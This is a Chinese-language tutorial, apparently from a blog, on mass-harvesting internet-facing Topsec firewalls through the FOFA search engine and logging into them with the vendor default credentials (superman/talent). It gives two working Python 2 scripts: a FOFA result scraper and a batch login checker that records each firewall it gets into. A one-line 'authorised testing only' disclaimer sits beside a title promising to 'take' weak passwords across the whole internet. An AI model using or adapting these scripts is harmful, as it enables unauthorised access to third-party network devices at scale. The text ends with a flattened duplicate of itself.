教你如何快速拿下全网弱口令
字数 907 2025-08-06 01:23:31

全网弱口令批量检测技术详解

前言

本文详细讲解如何通过FOFA搜索引擎爬取全网特定系统服务器,并批量检测默认用户名密码的技术方法。以天融信防火墙为例,介绍完整的自动化检测流程。

前期准备

1. FOFA会员账号

  • 需要FOFA普通会员及以上权限(非会员只能查看5页内容)
  • 登录后获取当前账户的cookie值(用于后续爬取链接)

2. 目标系统特征识别

  • 识别目标系统的独有特征URL,如天融信防火墙的"/cgi/maincgi.cgi"
  • 通过FOFA搜索特征URL,获取qbase64参数(示例:Ii9jZ2kvbWFpbmNnaS5jZ2ki

3. 默认凭证收集

  • 收集目标系统的默认用户名密码组合(如天融信防火墙:superman/talent)
  • 通过抓包分析登录请求参数格式

脚本实现

FOFA链接爬取脚本(Python 2)

import requests
from lxml import etree
import re
import time

cookie = "替换为你的FOFA_COOKIE"
qbase64 = "替换为你的qbase64参数"

def spider():
    header = {
        "Connection": "keep-alive",
        "Cookie": "_fofapro_ars_session=" + cookie,
    }
    print("spider website is :https://fofa.so/result?qbase64=" + qbase64)
    html = requests.get(url="https://fofa.so/result?qbase64=" + qbase64, headers=header).text
    pagenum = re.findall('>(\d*)</a> <a class="next_page" rel="next"', html)
    print("have page: " + pagenum[0])
    stop_page = raw_input("please input stop page: \n")
    doc = open("url.txt", "a+")
    for i in range(1, int(pagenum[0])):
        print("Now write " + str(i) + " page")
        pageurl = requests.get('https://fofa.so/result?page=' + str(i) + '&qbase64=' + qbase64, headers=header)
        tree = etree.HTML(pageurl.text)
        urllist = tree.xpath('/html/body/div[@id="result"]/div[@class="main-result clearfix padTop90"]/div[@class="result-right-list"]/div[@class="result-right-list-view"]/div[@class="right-list-view-item clearfix"]/div[@class="fl box-sizing"]/div[@class="re-domain"]/a[@target="_blank"]/@href')
        for j in urllist:
            doc.write(j + "\n")
        if i == int(stop_page):
            break
        time.sleep(10)
    doc.close()
    print("OK,Spider is End .")

def main():
    spider()

if __name__ == '__main__':
    main()

使用说明:

  1. 替换代码中的cookie和qbase64参数
  2. 运行脚本并输入要爬取的页数
  3. 结果保存在同目录下的url.txt文件中

批量检测脚本(Python 2)

import requests
import time

# 禁用安全请求警告(解决SSL报错问题)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 登录请求参数
payload = {
    "username":"superman",
    "passwd":"talent",
    "loginSubmitIpt":''
}

header = {'Connection': 'close'}
f = open("url.txt", "r")
r = open("url_x.txt","w")  # 保存存在弱口令的URL
lines = f.readlines()
i=0
x=0

for line in lines:
    try:
        response = requests.post(
            line+"/cgi/maincgi.cgi?Url=Index",
            data = payload,
            headers = header,
            timeout=5,
            verify=False
        )
    except:
        continue  # 忽略异常请求
    else:
        i=i+1
        print(str(i))
        if "maincgi.cgi?Url=Main" in (response.text.replace(u'\xa9', u'')):
            r.write(line + "\n")
            x=x+1
            print(str(i)+"is being detected")
            print("A vulnerability link has been detected" + str(x))

f.close()
r.close()

检测逻辑说明:

  1. 读取url.txt中的目标URL
  2. 逐个发送登录请求尝试默认凭证
  3. 通过响应内容判断是否登录成功(检测"maincgi.cgi?Url=Main"字符串)
  4. 将存在弱口令的URL保存到url_x.txt

技术要点

  1. FOFA爬取技巧

    • 使用会员cookie保持会话
    • 通过XPath精准提取目标URL
    • 设置适当延迟(10秒/页)避免被封
  2. 批量检测优化

    • 使用try-except处理异常请求
    • 禁用SSL验证警告
    • 实时输出检测进度
  3. 登录验证方法

    • 分析成功登录后的跳转URL特征
    • 通过响应内容判断是否登录成功

注意事项

  1. 法律合规:仅用于授权测试,禁止非法使用
  2. 频率控制:适当调整请求间隔,避免对目标系统造成影响
  3. 错误处理:脚本已加入异常处理,但可能需要根据实际情况调整
  4. 结果验证:建议人工抽样验证检测结果准确性

扩展应用

本方法可应用于其他系统的弱口令检测,只需修改:

  1. FOFA搜索特征(qbase64参数)
  2. 默认凭证字典
  3. 登录请求参数和成功标识

通过此方法可构建自动化弱口令检测系统,提高安全测试效率。

全网弱口令批量检测技术详解 前言 本文详细讲解如何通过FOFA搜索引擎爬取全网特定系统服务器,并批量检测默认用户名密码的技术方法。以天融信防火墙为例,介绍完整的自动化检测流程。 前期准备 1. FOFA会员账号 需要FOFA普通会员及以上权限(非会员只能查看5页内容) 登录后获取当前账户的cookie值(用于后续爬取链接) 2. 目标系统特征识别 识别目标系统的独有特征URL,如天融信防火墙的"/cgi/maincgi.cgi" 通过FOFA搜索特征URL,获取qbase64参数(示例: Ii9jZ2kvbWFpbmNnaS5jZ2ki ) 3. 默认凭证收集 收集目标系统的默认用户名密码组合(如天融信防火墙:superman/talent) 通过抓包分析登录请求参数格式 脚本实现 FOFA链接爬取脚本(Python 2) 使用说明: 替换代码中的cookie和qbase64参数 运行脚本并输入要爬取的页数 结果保存在同目录下的url.txt文件中 批量检测脚本(Python 2) 检测逻辑说明: 读取url.txt中的目标URL 逐个发送登录请求尝试默认凭证 通过响应内容判断是否登录成功(检测"maincgi.cgi?Url=Main"字符串) 将存在弱口令的URL保存到url_ x.txt 技术要点 FOFA爬取技巧 : 使用会员cookie保持会话 通过XPath精准提取目标URL 设置适当延迟(10秒/页)避免被封 批量检测优化 : 使用try-except处理异常请求 禁用SSL验证警告 实时输出检测进度 登录验证方法 : 分析成功登录后的跳转URL特征 通过响应内容判断是否登录成功 注意事项 法律合规:仅用于授权测试,禁止非法使用 频率控制:适当调整请求间隔,避免对目标系统造成影响 错误处理:脚本已加入异常处理,但可能需要根据实际情况调整 结果验证:建议人工抽样验证检测结果准确性 扩展应用 本方法可应用于其他系统的弱口令检测,只需修改: FOFA搜索特征(qbase64参数) 默认凭证字典 登录请求参数和成功标识 通过此方法可构建自动化弱口令检测系统,提高安全测试效率。